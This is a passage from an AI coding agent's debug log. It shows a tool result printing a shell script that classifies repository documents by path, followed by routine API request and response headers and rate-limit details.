\\\"$1\\\")\\\"\\n\\n  case \\\"$path\\\" in\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442:\\n    # \u0447\u0430\u0441\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0439 \u0437\u0430\u0434\u0430\u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c GigaCode (name, description),\\n    # \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (compiled_from, derived_from).\\n    projects/*/execution-package-*/*.md | projects/*/execution-package-*/*/*.md | \\\\\\n    projects/*/execution-package-*/*/*/*.md | projects/*/execution-package-*/*/*/*/*.md)\\n      printf 'execution-package'\\n      ;;\\n    docs/audit/*.md)\\n      printf 'audit'\\n      ;;\\n    research/*.md | docs/analysis/*.md | docs/report/*.md)\\n      printf 'knowledge'\\n      ;;\\n    docs/rfc/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/rfc/*.md | projects/*/docs/rfc/*.md)\\n      printf 'rfc'\\n      ;;\\n    docs/adr/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/adr/*.md | projects/*/decisions/*.md | projects/*/docs/adr/*.md)\\n      printf 'adr'\",\n[2026-09-29T07:47:12.321Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:12.321Z] [INFO]       }\n[2026-09-29T07:47:12.321Z] [INFO]     ]\n[2026-09-29T07:47:12.321Z] [INFO]   },\n[2026-09-29T07:47:12.321Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:12.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"uuid\": \"2d67de97-bada-4427-b440-8b4bea4803d4\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:12.296Z\",\n[2026-09-29T07:47:12.321Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:12.321Z] [INFO]     \"stdout\": \"98:    decision-type)\\n103:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n107:    rfc-scope)\\n  esac\\n}\\n\\nnormalize_path() {\\n  local path=\\\"$1\\\"\\n\\n  path=\\\"${path#\\\"$ROOT_DIR\\\"/}\\\"\\n  path=\\\"${path#./}\\\"\\n\\n  printf '%s' \\\"$path\\\"\\n}\\n\\ndocument_class() {\\n  local path\\n  path=\\\"$(normalize_path \\\"$1\\\")\\\"\\n\\n  case \\\"$path\\\" in\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442:\\n    # \u0447\u0430\u0441\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043b\u0435\u0439 \u0437\u0430\u0434\u0430\u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c GigaCode (name, description),\\n    # \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (compiled_from, derived_from).\\n    projects/*/execution-package-*/*.md | projects/*/execution-package-*/*/*.md | \\\\\\n    projects/*/execution-package-*/*/*/*.md | projects/*/execution-package-*/*/*/*/*.md)\\n      printf 'execution-package'\\n      ;;\\n    docs/audit/*.md)\\n      printf 'audit'\\n      ;;\\n    research/*.md | docs/analysis/*.md | docs/report/*.md)\\n      printf 'knowledge'\\n      ;;\\n    docs/rfc/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/rfc/*.md | projects/*/docs/rfc/*.md)\\n      printf 'rfc'\\n      ;;\\n    docs/adr/README.md)\\n      printf 'governance'\\n      ;;\\n    docs/adr/*.md | projects/*/decisions/*.md | projects/*/docs/adr/*.md)\\n      printf 'adr'\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:12.321Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:12.321Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:12.321Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:12.321Z] [INFO]   }\n[2026-09-29T07:47:12.321Z] [INFO] }\n[2026-09-29T07:47:12.383Z] [STDOUT] [log_eb9258] sending request {\n[2026-09-29T07:47:12.390Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:12.395Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:12.400Z] [STDOUT]   options: {\n[2026-09-29T07:47:12.407Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:12.411Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:12.414Z] [STDOUT]     body: {\n[2026-09-29T07:47:12.418Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:12.425Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:12.431Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:12.434Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:12.437Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:12.455Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:12.459Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:12.472Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:12.476Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:12.481Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:12.484Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:12.490Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:12.499Z] [STDOUT]     },\n[2026-09-29T07:47:12.504Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:12.508Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:12.512Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:12.515Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:12.517Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:12.521Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:12.525Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:12.528Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:12.532Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:12.537Z] [STDOUT]     },\n[2026-09-29T07:47:12.540Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:12.543Z] [STDOUT]   },\n[2026-09-29T07:47:12.545Z] [STDOUT]   headers: {\n[2026-09-29T07:47:12.549Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:12.555Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:12.558Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:12.561Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:12.563Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:12.566Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:12.569Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:12.572Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:12.575Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:12.581Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1421\",\n[2026-09-29T07:47:12.584Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:12.587Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:12.596Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:12.602Z] [STDOUT]     \"x-client-request-id\": \"04ea8b06-981e-4835-b4e4-5e9039b966f5\",\n[2026-09-29T07:47:12.608Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:12.614Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:12.623Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:12.627Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:12.632Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:12.635Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:12.639Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:12.643Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:12.647Z] [STDOUT]   },\n[2026-09-29T07:47:12.651Z] [STDOUT] }\n[2026-09-29T07:47:13.053Z] [STDOUT] [log_eb9258, request-id: \"req_011CfXMtgtLmxURzD3Vvpmvx\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 672ms\n[2026-09-29T07:47:13.059Z] [STDOUT] [log_eb9258] response start {\n[2026-09-29T07:47:13.062Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:13.065Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:13.070Z] [STDOUT]   headers: {\n[2026-09-29T07:47:13.076Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:13.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:13.086Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:13.095Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:13.101Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:13.105Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.108Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:13.115Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:13.118Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:13.123Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:13.137Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:13.140Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:13.147Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:13.150Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.153Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:13.156Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:13.158Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:13.160Z] [STDOUT]     \"cf-ray\": \"a42960e2790adbb5-FRA\",\n[2026-09-29T07:47:13.164Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:13.167Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:13.174Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:13.178Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:13.181Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:13 GMT\",\n[2026-09-29T07:47:13.184Z] [STDOUT]     \"request-id\": \"req_011CfXMtgtLmxURzD3Vvpmvx\",\n[2026-09-29T07:47:13.188Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:13.192Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:13.198Z] [STDOUT]     traceresponse: \"00-ff04097564d4204d7f1c336aff35b0ec-3ddb6fffe2079aa3-01\",\n[2026-09-29T07:47:13.202Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:13.206Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:13.212Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:13.221Z] [STDOUT]   },\n[2026-09-29T07:47:13.225Z] [STDOUT]   durationMs: 672,\n[2026-09-29T07:47:13.234Z] [STDOUT] }\n[2026-09-29T07:47:13.242Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:13.248Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:13 GMT\",\n[2026-09-29T07:47:13.252Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:13.255Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:13.259Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:13.262Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:13.264Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:13.267Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:13.270Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:13.273Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:13.276Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:13.279Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:13.284Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:13.288Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:13.292Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:13.295Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:13.298Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:13.301Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.304Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:13.307Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:13.311Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:13.316Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:13.321Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:13.325Z] [STDOUT]   \"request-id\": \"req_011CfXMtgtLmxURzD3Vvpmvx\",\n[2026-09-29T07:47:13.333Z] [STDOUT]   \"traceresponse\": \"00-ff04097564d4204d7f1c336aff35b0ec-3ddb6fffe2079aa3-01\",\n[2026-09-29T07:47:13.339Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:13.345Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:13.352Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:13.354Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:13.358Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:13.368Z] [STDOUT]   \"cf-ray\": \"a42960e2790adbb5-FRA\",\n[2026-09-29T07:47:13.381Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:13.389Z] [STDOUT] [log_eb9258] response parsed {\n[2026-09-29T07:47:13.393Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:13.397Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:13.401Z] [STDOUT]   body: X {\n[2026-09-29T07:47:13.404Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:13.407Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:13.411Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:13.416Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:13.421Z] [STDOUT]     },\n[2026-09-29T07:47:13.426Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:13.435Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:13.442Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:13.453Z] [STDOUT]   },\n[2026-09-29T07:47:13.455Z] [STDOUT]   durationMs: 673,\n[2026-09-29T07:47:13.458Z] [STDOUT] }\n[2026-09-29T07:47:13.564Z] [INFO] {\n[2026-09-29T07:47:13.564Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:13.564Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:13.564Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:13.564Z] [INFO]   \"uuid\": \"782e8214-091c-48b1-9723-ad89e3dbb75a\"\n[2026-09-29T07:47:13.564Z] [INFO] }\n[2026-09-29T07:47:15.230Z] [INFO] {\n[2026-09-29T07:47:15.230Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:47:15.230Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:15.230Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:15.230Z] [INFO]   \"uuid\": \"077522d6-f5fd-4b21-890b-115f99a14958\"\n[2026-09-29T07:47:15.230Z] [INFO] }\n[2026-09-29T07:47:16.034Z] [INFO] {\n[2026-09-29T07:47:16.034Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"estimated_tokens\": 284,\n[2026-09-29T07:47:16.034Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:16.034Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:16.034Z] [INFO]   \"uuid\": \"9b3a40d2-81ac-4e3a-a90d-3cebb4baaacd\"\n[2026-09-29T07:47:16.034Z] [INFO] }\n[2026-09-29T07:47:16.041Z] [INFO] {\n[2026-09-29T07:47:16.041Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:16.041Z] [INFO]   \"message\": {\n[2026-09-29T07:47:16.041Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"id\": \"msg_011CfXMthKPUBBSnnKwcswES\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:16.041Z] [INFO]     \"content\": [\n[2026-09-29T07:47:16.041Z] [INFO]       {\n[2026-09-29T07:47:16.041Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:16.041Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:16.041Z] [INFO]         \"signature\": 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\"post\",\n[2026-09-29T07:47:18.641Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:18.645Z] [STDOUT]     body: {\n[2026-09-29T07:47:18.649Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:18.654Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:18.658Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:18.662Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:18.665Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:18.668Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:18.671Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:18.678Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:18.683Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:18.692Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:18.696Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:18.700Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:18.703Z] [STDOUT]     },\n[2026-09-29T07:47:18.706Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:18.711Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:18.717Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:18.722Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:18.727Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:18.745Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:18.761Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:18.773Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:18.783Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:18.790Z] [STDOUT]     },\n[2026-09-29T07:47:18.794Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:18.799Z] [STDOUT]   },\n[2026-09-29T07:47:18.801Z] [STDOUT]   headers: {\n[2026-09-29T07:47:18.805Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:18.810Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:18.813Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:18.815Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:18.818Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:18.822Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:18.826Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:18.829Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:18.832Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:18.836Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1247\",\n[2026-09-29T07:47:18.839Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:18.843Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:18.846Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:18.851Z] [STDOUT]     \"x-client-request-id\": \"b796cf66-6832-488f-86f8-68e16e3443ff\",\n[2026-09-29T07:47:18.853Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:18.858Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:18.860Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:18.862Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:18.865Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:18.869Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:18.878Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:18.883Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:18.886Z] [STDOUT]   },\n[2026-09-29T07:47:18.888Z] [STDOUT] }\n[2026-09-29T07:47:19.442Z] [STDOUT] [log_65078e, request-id: \"req_011CfXMu9XitxvPrAXVRVYJ1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 823ms\n[2026-09-29T07:47:19.462Z] [STDOUT] [log_65078e] response start {\n[2026-09-29T07:47:19.468Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:19.477Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:19.485Z] [STDOUT]   headers: {\n[2026-09-29T07:47:19.490Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:19.495Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:19.498Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:19.502Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:19.517Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:19.526Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.536Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:19.540Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:19.546Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:19.554Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:19.557Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:19.561Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:19.563Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": 